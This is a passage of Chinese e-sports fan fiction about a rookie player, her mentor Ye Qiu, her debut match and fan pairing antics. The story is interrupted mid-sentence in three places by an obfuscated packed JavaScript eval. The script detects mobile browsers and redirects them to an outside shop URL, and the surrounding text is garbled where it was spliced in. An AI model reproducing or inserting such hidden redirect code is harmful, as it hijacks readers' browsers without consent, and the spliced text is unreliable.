搞不好,当初在贴吧和那个叫“宁息”的ID激情对线、互相“友好问候”过的,就是现在捧着手机,心情复杂的自己。 这道歉,接受了吧,感觉像咽下颗软钉子;不接受吧,又显得自家粉丝格局太小、斤斤计较。 挺好一个霸图选手,怎么就粉叶秋了呢? 真是……家门不幸啊! 就在霸图粉丝们纠结于“接受道歉”与“咽不下那口气”之间反复横跳时,那个被息宁在声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16934813|192855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明里小心翼翼维护着的的叶秋大神,其沉寂多年,宛如僵尸号的微博,突然转发了息宁的道歉微博。 转发配文只有六个字,却重若千钧:“子不教,父之过。” 众人:“???” 看看账号名,【叶秋】,黄V认证。 点进头像,微博内容空空如也,宛如一个幽灵。 退出来,再看看那六个字。 反复几次,终于确认:是本人!活的!叶秋大神发微博了!他的第一条微博! 评论区瞬间以核爆的速度被点燃。 一半人在亲切地关心:“大神,是不是号被盗了?需要帮你报警吗?” 另一半人则在惊悚地质问:“等等!‘父之过’?!难道息宁真是叶神的……亲闺女??!!” 而在这一片混乱中,一条来自黄少天的评论,以其不符合人设的极致简洁,夺走了所有人的目光:“你是她爹?!” 哪怕只有四个字加两个标点,所有人都能从这罕见的“寡言”中,感受到剑圣此刻内心掀起了怎样的惊涛骇浪。 能让黄少天震惊到“失语”,叶秋这六个字的威力,可见一斑。 紧接着,苏沐橙也现身评论区添如乱:“含辛茹苦藏了这么多年,终于还是被大家发现了呢~” 眼看叶秋丝毫没有下场澄清的意思,网友们的想象力已经突破天际,脑补出了一整部“荣耀无间道”:叶秋大神多年来深居简出,不露真容,全是为了隐瞒亲生女儿的存在啊!如今更是忍痛将女儿送入宿敌霸图内部,只待有朝一日里应外合,一举击溃多年心腹大患…… 息宁看着这愈演愈烈的离谱剧情,瞬间明白了。 这绝对是师父对她昨天“坐地起价”的打击报复! 时间倒回24小时前。 叶秋喊她去嘉王朝帮忙抢个野图BOSS,息宁回得飞快,语气中充满了“职业操守”:“师父,不是徒弟不帮忙。但我现在是霸图的人了,得有立场!再给嘉王朝干活,我良心会痛的!所以……得加钱! 亲师徒,明算账嘛,您理解一下。” 现在,叶秋用六个字证明:哪怕你成了霸图的人,你首先也还是我叶秋的徒弟。 想用“霸图身份”抬价?师父先帮你把“师徒关系”焊死在网上。 眼看自己即将从“霸图新人”变成“嘉世卧底”,个人形象面临毁灭性危机,息宁火速冲到评论区亲自辟谣,字里行间充满了“求生欲”:“是师父!求你不要随便省略!把‘师’字加上!我暂时还没有改姓‘叶’的打算,谢谢!!!” 发完评论,她立刻私聊叶秋,光速认怂:“师父我错了!下次您让刷本我打折还不行吗!别玩这么大啊!” 就在舆论朝着“电竞版豪门恩怨”方向一路狂奔时,叶秋终于姗姗来迟。 他没有理会漫天乱飞的阴谋论,而是精准地回复了黄少天那条评论:“我97的,息宁01的,剑圣大大就算没上几年学,连最基本的生物常识也没有吗?你们蓝雨的文化水平,啧,我深表担忧啊!文州下达战术的时候,你真的听得懂吗?” 配图:一张《民法典》的相关页面截图,红圈醒目地标注着“明确结婚年龄,男不得早于二十二周岁,女不得早于二十周”。 一击致命,且附带范围伤害。 用最无可辩驳的数据和法律规定完成了辟谣,同时将“没文化”的嘲讽精准投送到了整个蓝雨战队。 评论区在短暂的震撼后,瞬间被“哈哈哈哈”和“???”刷屏。 “喻队!喻队快出来!你们蓝雨的文化水平被叶神公开质疑了!” “蓝雨连夜成立‘九年义务教育普及小组’……” 然而,对于霸图粉丝而言,最初的纠结非但没有解开,反而随着“叶秋徒弟”这层身份的坐实,变得更加复杂: “叶秋徒弟为什么不玩战斗法师啊?!叶秋的徒弟不玩战法,就像霸图粉丝不骂叶秋一样离谱!” “既然是叶秋的徒弟,为什么不去嘉世,反而来我们霸图?这剧情我怎么越来越看不懂了……” “家门不幸啊!好好的霸图新人,怎么就成了叶秋的‘嫡传’了呢?!” 8. 第 8 章 鉴于前阵子那场席卷全网的“道歉风波”与“叶秋空降微博”事件,息宁的出道新闻发布会,被拿捏得格外……乖巧懂事。 主角本人正襟危坐,脸上挂着标准的微笑,活脱脱一个甜妹,甜妹自然轻易不开口,将“少说少错”的原则贯彻到底。 而她身旁,霸图的副队长张新杰,则以一种沉稳到令人安心的姿态,接过了几乎所有提问。他逻辑清晰,措辞严谨,甚至能面不改色地对着满场记者,说出“她性格比较内向害羞,正在努力适应公众场合”这种需要一定心理建设才能出口的话。 镜片后的目光平静无波,语气真诚得不容置疑。 那一刻,他仿佛不是战队的副队长,而是某个为孩子操碎了心,不得不替“惹祸精”出面周旋的当家主母,用最官方的言辞,替息宁撑起一片无风无浪的安宁。 整个发布会流程顺畅,问答和谐。 只是台下的记者们,看着台上那个被形容为“内向害羞”的息宁,再回想一下网上那个“宁息”舌战群儒的彪悍画风,嘴角忍不住微微抽搐。 霸图这位新人……真是不得了。 硬是逼得以严谨诚实著称的张新杰副队长,都开始面不改色地说“瞎话”了。 成为职业选手后的生活,对息宁而言,并没有发生翻天覆地的变化。 她目前是替补,训练依旧,但是客场基本不随队,大部分时间依旧在青岛。学业还得兼顾,需要定时回学校上课、攒学分、考试。 除了多了不少职业选手的好友,微博关注列表里添了一排黄V,她还真没多少“我出道了”的实感。 非要说变化,大概是以前只能跟苏沐橙私下分享,加密交流的“联盟CP编年史”,如今终于可以光明正大地跟楚云秀等一整个群的职业女选手,进行高规格、多角度的“学术研讨”了。 至于被其他职业选手约着PK?这事儿她可太熟了。 当初在嘉王朝当“金牌打手”那段日子,她没少因为抢BOSS、破记录跟各大公会结下“血海深仇”,跨服竞技场的“恩怨局”约得飞起。 于是,当她被黄少天在竞技场里用垃圾话洗礼,并惨无人道地连虐三局后,面对对方再次弹出的PK邀请,息宁终于忍无可忍,声泪俱下地抱怨:“黄少!我刚才回忆了一下!我只抢过你们蓝溪阁两次野图BOSS,一次还是捡漏!至于这么记仇,追着我往死里打吗?!PK也就罢了,主要是伤耳朵啊!” 以至于当微草队长王杰希出于惯例和好奇,来试探这位霸图新人的深浅时,息宁的第一反应不是紧张,而是带着点业务熟练的疑惑,脱口而出:“王队,我以前……也抢过你们中草堂的BOSS吗?” 王杰希:“……” 很好,这新人眼里,职业大神和网游里的仇家,好像没什么本质区别。 当然,身份转变带来的“明星效应”还是肉眼可见的。每次回校,她都会受到同学们一波接一波的“热情围观”。走在路上,不时有人笑着冲她喊“大神!”;更有人早早准备好霸图海报、笔记本,甚至课本,笑嘻嘻地围上来求签名。 “息宁!签个名呗!等你成了全明星大神,我这签名可就值钱了!” 尤其是那些曾经“慧眼识珠”,找她代练过的同学,此刻更是挺直了腰板,逢人便科普,满脸“与有荣焉”:“看到没?当年替我过任务刷纪录的,可是未来的职业大神!这缘分,说出去谁敢信?” 一上午被围追堵截,机械性地签了三十多遍名字后,息宁揉着发酸的手腕,看着眼前又一拨跃跃欲试的同学,一个无比现实的念头冒了出来:“那个……你们说,我现在要是开个‘收费签名’业务,定价多少合适?” 话音刚落,脑袋上就挨了旁边舍友一记熟练的“正义制裁”。 “你一场正式比赛都还没打呢!就想着靠签名变现了?”舍友叉着腰,一脸恨铁不成钢,“再说,咱们霸图的人,能这么没出息吗?要卖,也得等你捧回冠军奖杯再说!” 息宁捂着脑袋,小声嘀咕:“我这不是……未雨绸缪,提前评估一下市场价值和粉丝购买力嘛。” “雨还没下呢,你就想着卖伞了!”舍友拽着她的胳膊就往食堂方向走,语气“凶悍”,“等你真比赛了,要是发现你这‘伞’是破的!漏的!我可就要代表全体霸图粉丝,对你‘替天行道’了!” 等了许久,息宁的职业联赛首秀终于到来:霸图主场对阵微草,她被安排在了个人赛第二场。 此前,战队经理曾特意征询她的意见:“第一场比赛,想对上哪个队?” 息宁认真思考了一下:“哪个队都行。不过……我想打战斗法师,这个职业我熟。”她顿了顿,看了一眼旁边竖起耳朵偷听的白言飞,“或者……元素法师也行,打得也多。” 白言飞在一旁默默捂住了胸口。 于是,经理研究了一番赛程,最终为她敲定了对战微草的这场。其实前几天霸图主场对战烟雨也是备选之一,但考虑到新人首秀,对上楚云秀的风城烟雨,心理负担可能过重。微草的肖云,实力扎实但不至于令人窒息,是个不错的试金石。 比赛过程出乎很多人预料的……顺畅。 息宁的“息事宁人”一开场便展现出极强的攻击性,走位刁钻,枪体术衔接流畅,将肖云的战斗法师牢牢压制。她没有给对手太多喘息的机会,直接狂飙手速,速战速决,结束了战斗。 就在比赛结束前的最后一秒,公共频道上,来自“息事宁人”的一句话轻飘飘地跳了出来:“看来,我打战斗法师果然有一手。” 场馆内安静了一瞬,随即爆发出更热烈的欢呼与笑声。 这句话,这语气,这带点小嚣张的嘲讽……该死的熟悉! 就连潘林都忍不住调侃:“这垃圾话的风格,让我们不禁想起了某位不愿露面的大神……看来,有些东西,果然是会‘遗传’的。” “哎,话不能这么说。”一旁的李艺博立刻笑着反驳,语气里带着明显的维护,“息宁选手是霸图的新人,风格当然是霸图自己培养的。我看啊,这分明是初生牛犊不怕虎,是霸图锐意进取精神的体现!” 李艺博这突如其来的“护短”,并非没有缘由。 就在今天赛前,他在后台偶遇了正准备上场的息宁。当时韩文清正巧在旁边,见李艺博过来,便简单对息宁介绍了一句:“李艺博,以前霸图的队员。” 话音未落,就见息宁立刻停下脚步,转向李艺博,恭恭敬敬地来了个九十度鞠躬,声音清脆地高喊:“前辈好!” 那架势,那态度,标准得宛如军校新生见到老首长,瞬间击中了李艺博作为“老霸图人”的心。他心头一暖,脸上忍不住露出笑容,觉得这姑娘是真懂事,真有礼貌,怎么看怎么顺眼。 再联想到网上那些关于她“网络战神”、“叶秋嫡传”的传闻,李艺博心中顿时有了定论:瞧瞧,这多好一孩子!之前那些,肯定都是被叶秋给带歪的!现在来了我们霸图,受正气熏陶,这不就回归正途,变成根正苗红的好队员了嘛! 所以,此刻听到潘林在解说席上,话里话外暗示她的风格“遗传”自叶秋,李艺博那股“自家孩子被外人贴标签”的护犊之心立刻燃了起来,自然而然地站出来,要为自家孩子“正名”。 只不过李艺博不知道,息宁这人,对自家队长韩文清是过分“尊敬”了。只要跟在队长身边,她就格外乖巧,判若两人。 比赛结束,息宁兴冲冲地跑下台,脸上还带着首胜的兴奋。张新杰正想开口,提醒她刚才那样长时间维持极限手速对职业生涯是种损耗,需要科学放松。 他还没来得及组织好语言,就见息宁眼睛亮晶晶地凑到他面前,直接伸出了手。 张新杰一愣,以为她要击掌庆祝,犹豫了一下,想到毕竟是第一场,还是个小姑娘,还是抬手轻轻拍了一下。 “不是这个!”息宁晃了晃手掌,语气充满期待,“副队,咱们霸图……难道没有绩效奖励吗?” 张新杰推了推眼镜,难得地露出了疑惑的神情:“绩效奖励?” “对啊!”息宁开始掰着手指头算,眼睛里的光芒堪比看到稀有材料,“比如,赢一场单人赛,有没有奖金?擂台赛呢?团队赛呢?咱们今天赢了微草,全队是不是能分一笔胜利奖金?” 张新杰:“……” 一旁的郑乘风终于忍不住了,好奇地问:“小宁啊,你……是不是特别缺钱啊?” 自从跟队友混熟后,息宁已经以“市场调研”为名,把霸图上下从正选到青训的签约金、薪资结构、商业分成打听了个遍,还曾小心翼翼地试探,职业选手能不能在休息日搞点“合规副业”。 “哇!郑哥,这世上会有不缺钱的人吗?”息宁仿佛听到了一个天大的笑话,表情瞬间变得深沉而哲学,“小时候吧,我还比较天真,觉得‘人怎么能想着傍大款呢’?现在的我,只有最纯粹的求知欲,那就是,人,到底要怎么才能傍上大款呢?” 她目光灼灼地扫过全场:“咱们职业选手里,有没有那种……特别有钱的大款?” 白言飞努力回忆了一下,举手发言:“有!我听说以前百花战队的孙哲平前辈,就是京爷儿,家里好像……超有钱。” “王杰希也是北京的吧。” “最有钱的还是周泽楷吧!他那么多广告代言!” 张新杰安静地听他们说完,然后平静地开口:“孙哲平前辈因为手伤,已经退役了。” 他顿了顿,目光落在息宁依旧兴奋的脸上,意有所指地问:“小宁,你知道我为什么要特意提起这件事吗?” 息宁眨了眨眼,迅速得出了一个让全场沉默的结论:“哦!我懂了!副队你是说,得先有钱,才有受伤退役的资本!像我师父叶秋,就是太穷了,所以就算队友坑爹,也一直‘狗’在嘉世不敢退役,对吧?” 张新杰:“……” 他深吸一口气,压下心中复杂的情绪,抬手轻轻拍了一下息宁的脑袋,语气严肃:“我的意思是,爱惜你的手。” “手伤,对于职业选手来说,不是闹着玩的。它不会因为你有钱或者没钱,就对你手下留情。” 息宁终于收起了那副嬉皮笑脸的模样,用力地点了点头:“知道了,副队。” 张新杰见状,心中略感欣慰,觉得这孩子虽然思路清奇,但终究是听劝的。 这欣慰维持了大约三秒。 因为息宁在郑重表态后,几乎是无缝衔接,带着最纯粹的求知眼神,仰头又问:“所以……副队,我们霸图,真的没有绩效奖励吗?比如按击杀算,或者按输出占比?” 张新杰:“……” 他默默推了一下眼镜,感觉刚才那番关于手伤的严肃谈话,仿佛一阵风,吹过了息宁的脑袋,但好像没完全吹进去。 最后,他只能凭借强大的逻辑和耐心,给出那个唯一的标准答案:“……夺冠,会有。” 这场比赛,息宁只参与了个人赛。擂台赛中,最终由王杰希守擂成功,好在团队赛霸图更胜一筹,有惊无险地赢下了整场比赛,也让息宁的职业首秀圆满落幕。 整场团队赛,息宁都在台下观摩。看着王杰希在擂台赛上那种举重若轻,掌控全局的表现,她忍不住小声感慨:“王队……真的好强啊。” 旁边的白言飞听了,以为自家新人被大神的实力震慑住了,正想开口安慰“差距可以靠勤奋弥补”,就听见息宁紧接着发出一声充满羡慕的叹息:“你看微草的粉丝,都管他叫‘吾王’、‘大王’,还有直接喊‘陛下’、‘皇帝’的……” 她顿了顿,语气里充满了对这种“君临天下”式尊称的向往,以及一丝深深的不解:“他怎么就能……面不改色地全盘接受,一点都不会觉得羞耻或者尴尬呢?!” 白言飞:“……” 他准备好的鸡汤,瞬间卡在了喉咙里。 然而,息宁的思维已经像脱缰的野马,奔向了更广阔的“哲学”领域。她托着下巴,眉头紧锁,陷入了严肃的思考:“唉……看来姓‘王’就是有先天优势啊。‘吾王’、‘大王’,多顺口,多霸气!” 她转头看向白言飞,眼神里充满了对自己姓氏的“恨铁不成钢”:“你再看看我,姓‘息’……听起来像要断气。‘息王’?‘息皇’?‘息帝’?感觉活不过三集……” “我姓‘息’是不是注定没前途了?白哥,你说我现在去改个姓,比如姓‘霸’,还和霸图同姓呢!这样粉丝可以叫我“霸霸”,会不会更有气势一点?” 白言飞张了张嘴,发现自己绞尽脑汁,都都无法应对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16934814|192855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这番关于“姓氏与王者气度关联性”的深刻探讨。 他第一次觉得,在脑回路的赛场上,自家这位新人,可能比魔术师还要难以预测。 息宁首战告捷,自家师父叶秋自然也发来消息“恭贺”。 息宁喜滋滋地点开,不要脸地直接索要“贺礼”:“师父我赢了!咱们师门有没有晋升奖励?比如金币、稀有材料,或者直接打钱?” 叶秋那边“正在输入”了一会儿,回道:“打的不错。作为奖励,为师准备亲自指导你几局,看你是不是真的打战斗法师有一手。” 息宁对着屏幕沉默了整整五秒。 师父的亲自指导……搁在整个荣耀圈,确实是无数人求之不得的“顶级资源”。但对她这个从网游起就被叶秋和苏沐橙“混合双打”过来的亲徒弟而言,这“贺礼”的惊喜程度,约等于过年收到了一套《五年高考三年模拟》。 珍贵,有用,但实在让人高兴不起来。 她眼珠一转,先给叶秋回了一条,语气甜度超标:“谢谢师父!师父你对我最好了!你先开好房间等我,我马上就来!” 稳住“货源”后,她立刻切到另一个聊天窗口,找到了那个最近头像频繁闪烁、嗷嗷待哺的好友。 五分钟后。 叶秋在竞技场新建的私人房间里,等来的不是自家徒弟的上线提示,而是一个疯狂刷屏的黄少天。 紧随其后的是几乎要溢出屏幕的垃圾话:“老叶老叶老叶!是我啊是我啊!惊喜吗?意外吗?没想到吧哈哈哈!听说你今晚有空指导新人?那指导指导我这个旧人呗!来来来快开快开让我看看你手速掉了没有……” 叶秋看着屏幕上那串还在不断增殖的文字泡,沉默了两秒,切换聊天界面,找到息宁的头像,缓缓打出了一个问号:“?” 几乎是同时,息宁的回复带着谄媚的表情包弹了出来:“师父!Surprise!我看黄少整天哭着喊着要和你PK,他太可怜了我实在是于心不忍!再说,您也很久没和老朋友切磋了吧?徒弟我这是特意为您牵线搭桥,重温旧谊!不用谢我,这是作为徒儿应该做的!” 叶秋回得言简意赅,直击重点:“说吧,收了多少钱?” “师父!你这是在玷污我和黄少之间纯洁的友情!”息宁义正辞严,“我们只是进行了一些友好的资源置换!比如,黄少答应下次我去蓝雨主场比赛,他请我去最贵最好吃的茶餐厅。” “一顿饭就把我卖了?” “胡说!”息宁迅速发来一张截图,来自黄少天的私聊转账记录,金额200元,备注:“PK中介费,谢了妹子!” “明明还有200块红包!咱们师门太穷了,我只能自主创业,补贴家用了!” 叶秋:“……” 他忽然觉得,自己这个徒弟,在“搞钱”这方面的天赋,可能比玩神枪手还要卓越。 “我和黄少天PK,你不过来观摩学习?”忍着噪音,打了一局后,叶秋才发现息宁压根没进竞技场,他的消息里带着一丝“为师给你开小灶你居然翘课”的不满。 “哎呀师父!我跟黄少说好了,他会帮我全程录像的!高清□□,赛后复盘,效果一样!”息宁回得飞快,理由充分。 “干嘛去了?”叶秋追问。 “我正带着柳非品尝全青岛最好吃的熏肉大饼!”附上一张令人垂涎欲滴的大饼特写。 “……你请客?”叶秋回得犀利。 “师父!你看我像是那种有钱请客的人吗?”息宁理直气壮,“当然是刘小别请客!” 息宁原本的计划很单纯:偷偷带着微草的柳非,去品尝那家她私藏已久的,全青岛最美味的熏肉大饼。为什么不叫别人?当然是因为她囊中羞涩,请柳非一人已是她钱包能承受的极限。 两人刚在霸图后巷弥漫着食物香气的小吃街成功“会师”,还没来得及交流“吃饼心得”,就被同样溜出来觅食的刘小别逮了个正着。 刘小别一见息宁,想到俩人同期出道,都是手速型选手,同为新秀,赛场上未尽的较量之心立刻燃起,拦路邀战:“巧了啊!找个地方,咱俩正经比一场手速!” 息宁白他一眼,比手速这件事,听起来就不正经。 息宁刚和柳非点完餐,此刻满心都是那口酥脆咸香,竞技魂暂时休眠,双手一摊,光速认怂:“比不过比不过,刘哥您快如闪电,我甘拜下风,心服口服!” 谁知刘小别斗志正旺,对这种毫无技术含量的口头认输嗤之以鼻:“不行!今天必须分个高下!” 眼看心心念念的大饼近在咫尺,自己却要被拖去进行一场毫无收益的PK,息宁目光精准锁定了前方饼铺窗口贴着的付款码,计上心头:“比那些虚的没意思!是骡子是马拉出来遛遛,就比谁先扫到那个码并成功付款!” 她深吸一口气,不给刘小别反应时间:“三、二、一!” “一”字刚落,刘小别条件反射般掏出手机,摄像头精准对焦,“滴”的一声轻响,支付界面弹出,指纹解锁,行云流水,一气呵成。 胜负已分。 刘小别看着屏幕上“支付成功”以及下面一行“-27元”的小字的提示,愣了一秒,赢了?扫二维码比赛?然后……赢了的人要请客? 他眨了眨眼,思考终于追上了操作。 一种微妙的,混合着“胜利”与“被坑”的复杂情绪涌上心头。 “老板!”他果断转身,朝着饼铺窗口又喊了一声:“给我来也一个!” 在刘小别再次掏出手机扫码付款的整个过程中,息宁站在一旁,一言不发,异常安静。 毕竟,自己是这场“手速王对决”中堂堂正正的手下败将。在冠军进行他的“胜利采购”时,保持肃静,是败者基本的礼仪。 最后,三人并排坐在霸图俱乐部侧门的石阶上,人手一个酥脆的熏肉大饼,开始品尝罪恶且美味的夜宵。 柳非小口咬着饼,脸颊微微鼓起:“嗯……好吃……” 息宁啃得豪放,抽空对身边还在品味“胜利”余韵的刘小别,竖起大拇指,语气真诚无比:“我们别哥付钱的手速,是这个!真·联盟第一快!” 刘小别嚼着嘴里香喷喷的饼,心情复杂。 这胜利的滋味……好像还挺美味? 9. 第 9 章 打了几场比赛后,息宁竟然收到了广告邀约。 她捧着手机,眼睛瞪得溜圆,反复确认了三遍,才发出一声难以置信的欢呼:“我吗?哇!我也能拍广告了啊!” 一旁的郑乘风生怕这姑娘飘到外太空,赶紧给她拽回地面:“冷静点!你仔细看看合同附件……你那是打包的赠品,人家主要是找副队拍,你是‘附赠’的小花絮。” “赠品咋了?”息宁反驳,“给钱就行!我宣布这就是我成为下一个周泽楷的第一步!” “你想成为周泽楷,应该先去训练室加练三百回合枪体术,而不是在这做梦靠拍广告上位!”白言飞痛心疾首,试图将迷途的羔羊引回正道。他想了想,换了个思路:“再说了,你为什么不立志成为下一个苏沐橙呢?苏沐橙广告也很多啊!” “我和沐橙姐职业不同啊!”息宁理直气壮,“她是枪炮师,我是神枪手,代言路线、受众市场都不一样!” 白言飞被她这“专业”的分析噎了一下,随即抓住逻辑漏洞,精准反击:“你和周泽楷性别还不同呢! 你怎么不说这个?!” 眼看借口被戳穿,息宁眨了眨眼,决定坦白从宽:“好吧,其实是因为……”她压低声音,凑近了一点,说出那个最核心的理由,“我听说,沐橙姐赚的……好像没有周泽楷多。” 她抬起头,眼神清澈,语气真挚:“我这是单纯的慕强。” 白言飞:“……” 他被这过于直白、且无法反驳的“大实话”震得沉默了三秒。 然后,他深吸一口气,给出了终极评价:“小宁,你这哪是单纯的慕强……” “你这分明是单纯的爱钱!”经过多日相处,白言飞已经看透了息宁的本质。 息宁闻言,非但不恼,反而眼睛一亮,用力拍了拍白言飞的肩膀:“飞哥,还是你懂我!” 说完,她收起手机,转身就朝训练室走去,嘴里还念念有词:“为了成为最能赚钱的职业选手……加练!必须加练!” 白言飞看着她的背影,心情复杂。 他好像……成功把迷途的羔羊引回正道了? 虽然引路的胡萝卜,好像挂得有点歪。 然而,息宁被打包成“赠品”的原因,远比她想象的更有“深意”。 这一切,源于霸图经理在幕后悄悄推动的 “CP营业”大计。 如今炒CP是竞圈流量密码,经理自然也懂。他内心深处最想推的,当然是自家那对气场无敌的正副队长CP,但每次看到韩文清那张不怒自威的脸,所有“暗戳戳”的念头都会瞬间冻结,他实在是不敢在太岁头上动土,毕竟韩队连老板都敢骂。 于是,他退而求其次,将目光投向了队内其他有潜力的组合。 他偷偷授意运营官博:无论是更新赛场高清图,还是分享训练日常、赛后花絮,镜头和文案都要“不经意”地聚焦于某些特定互动,为粉丝的想象力提供肥沃的土壤。 张新杰与息宁,便是当前的重点“培养对象”之一,他甚至主动去“杰息”cp超话签到、发帖。 只是,或许是因为张新杰照顾后辈时那份过分的严谨与靠谱,也或许是息宁在他面前总不自觉流露出的那点“怂”与乖巧,霸图粉丝们嗑这对的方向,完全偏离了经理预想的任何一种浪漫剧本。 热评第一总是类似这样的画风:“每次看到张副队推眼镜看向息宁,我就幻视我妈检查我作业时的死亡凝视……” “我们霸图感天动地母女情真是看的人heart暖暖啊!严母与她那不太着调的闺女!” 所以,当霸图经理精心挑选了一张张新杰与息宁拍摄广告时的“温馨”合照,画面里,张新杰正微微侧头,目光落在息宁身上,而息宁则对着镜头笑得灿烂,再次怀着收割一波“CP红利”的期待将照片发出时…… 评论区瞬间涌来的热评,给了他当头一盆冰水混合物。 粉丝们纷纷表示“不约不约”,并用一条迅速登顶的评论,为这张照片盖棺定论:“这分明是李湘在看王诗龄。” CP感,是一种很玄妙的东西。 有些人哪怕素不相识,甚至不需要同框,就能被“拉郎”出万丈红尘,让无数人磕生磕死。 而有些人,无论官方如何费心引导,镜头如何巧妙捕捉,在粉丝眼中,也只会呈现出一种坚定不移的母女情。 经理看着评论区里“严母与他的爱笑小女儿”、“张副队の操心日常”等一溜整齐的亲情向解读,又回忆了一下韩文清那张不怒自威的侧脸。 他沉默地关掉了微博编辑页面,彻底放弃了脑海中最后一丝关于“队内CP多样化运营”的念头。 有些赛道,或许从起点就注定了终点。 比如韩张的“不敢”,比如杰息的“不能”。 还是安心搞成绩吧,他想。 息宁目前最热门,最具“爆款”潜质的CP,毫无疑问,是和微草的刘小别。 虽然两人都算新人,但同期出道,同以手速见长的标签,让他们从亮相起就被放在一起比较。赛场上,他们是值得关注的对手;赛场下,两人也经常约着PK,在竞技场里打得有来有回。 尤其是刘小别总是在网上说息宁坑了他27块钱,而息宁总是理直气壮地回一句“明明是你手速快赢了比赛!” 这种一个愿打一个愿挨,带着烟火气的“债务纠纷”,被赋予了更浪漫的想象,网友将此事自动翻译成两人打情骂俏的甜蜜日常。 毕竟,CP界早有至理名言:“行囊羞涩也无恨,难得夫妻是少年。” 27块钱的行囊确实很羞涩了! 而真正点燃粉丝热情的“决定性证据”,是一张模糊的抓拍照:两人并排坐在霸图门口的石阶上,一边说话,一边啃着熏肉大饼。 据消息灵通人士黄少天在群聊中“无意”透露:“刘小别请客哦!” 当被追问“你怎么知道”时,黄少天答得理所当然:“老叶告诉我的啊!” 此言一出,CP粉集体颅内高潮。 叶秋大神亲自认证!这说明了什么? “说明我们‘手速夫妇’已经得到老父亲的默许甚至报备了!” “爱她,就请她吃熏肉大饼!”迅速成为该CP圈的镇圈金句。 “这是什么质朴又实在的霸总行为!别哥,又穷又帅的!” “手速夫妇的定情信物:熏肉大饼!太好吃了!啊,不!太好磕了!” 就在CP粉们欢天喜地时,照片里真正的“第三人”,被P得只剩一片衣角的柳非,终于发出了悲愤的质问:“你们嗑CP就嗑CP!为什么要把角落里的我P掉啊?!” 然而,沉浸在甜蜜想象中的CP脑对此质问视而不见。 他们眼中只有那对“并肩而坐”的璧人和作为定情信物的熏肉大饼。 同人创作如火如荼,唯一的准则是:画面中可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他努力了这么久,研究了那么多数据,安排了那么多次“巧合”镜头,运用了专业的运营话术,还抵不上路边摊27块钱一个的熏肉大饼的天然杀伤力?! 息宁弱弱的伸出两根手指:“是27块钱俩!我们最后买了三个,还送了一瓶可乐。” 经理:“……” 不行,这口气不能就这么咽下去。 既然熏肉大饼是“流量密码”,那霸图就必须掌握它!不仅要掌握,还要做得更官方、更隆重、更有排面! 于是霸图战队连吃了一周熏肉大饼,霸图官博更新了一周“队员吃饼图”。 评论区的粉丝从莫名其妙到哈哈直乐,从看个热闹到开始同情:“收手吧,霸图外面全是饼!” “手速CP吃饼是发糖,你们霸图吃饼像在完成KPI。” “息宁只有前两天的笑容是真实的,后面几天都是演技。” “建议下一期拍《霸图队员逃离熏肉大饼的一百种方法》。” 一周后,“吃饼”运动在韩文清一句“明天换菜单”的简短指令中悄然终结。 经理看看评论区,再看看看队员们听到“换菜单”时如释重负的表情,终于不得不承认一个残酷的现实:有些玄学,它真的不讲道理。 强扭的瓜不甜,强喂的饼……也炒不火CP。 10.第 10 章 对于即将到来的全明星周末,息宁心里并没有太多期待。 虽然她的三位霸图粉室友发动了全系同学为她投票,但作为一个只打了几场个人赛,偶尔团队赛上场替补的新人,她的最终票数距离入选全明星的“大神”们,还隔着相当遥远的距离。 即便将范围缩小到同期新人,息宁也没有什么优势。 因为这一届的新人里,有个名字太过耀眼:越云战队的孙翔。 操作优秀,天赋肉眼可见,赛场表现极具冲击力,几乎已提前锁定了“最佳新人”的称号。在不少媒体和观众眼里,其他同期的光芒,或多或少都被这位天才少年所掩盖。 息宁也和孙翔在赛场上交过手。过程激烈,结果自然是输了。但比起输掉比赛,更让息宁印象深刻的是赛后的短暂交流。 她试图复盘一下刚才某个攻防转换的细节,刚开了个头,就发现对方似乎完全沉浸在自我逻辑里,对她的观点既不反驳也不接茬,眼神里透着一种“我强我有理”的笃定,以及……对她这番“探讨”的不耐烦。 那场简短的对话结束后,息宁回到霸图这边,对围上来的队友们,一脸严肃地给出了自己作为对手的观察结论:“技术是真厉害,手速爆炸,意识也顶尖,我现在确实打不过……”她顿了顿,用更确定的语气补充道:“就是好像……有点听不懂人话。” 白言飞差点被口水呛到:“你这结论也太……直白了吧!” “实话啊。”息宁耸耸肩,“你跟他讲战术,他跟你讲个人操作;你跟他讲节奏,他可能已经在想下一场自己该怎么秀了。频道好像没对接上。” “这方面,不要向他学习。”张新杰一锤定音。 “我觉得我学不会!”息宁立刻接话,“他这些行为太……卡智商了。” 息宁不期待全明星的原因,说起来有点私人,甚至有些幼稚:她单纯地不喜欢北京。 而此次全明星周末,正好由位于北京的微草战队承办。 北京,上海,这两座城市在许多领域都遥遥领先,电竞也不例外。 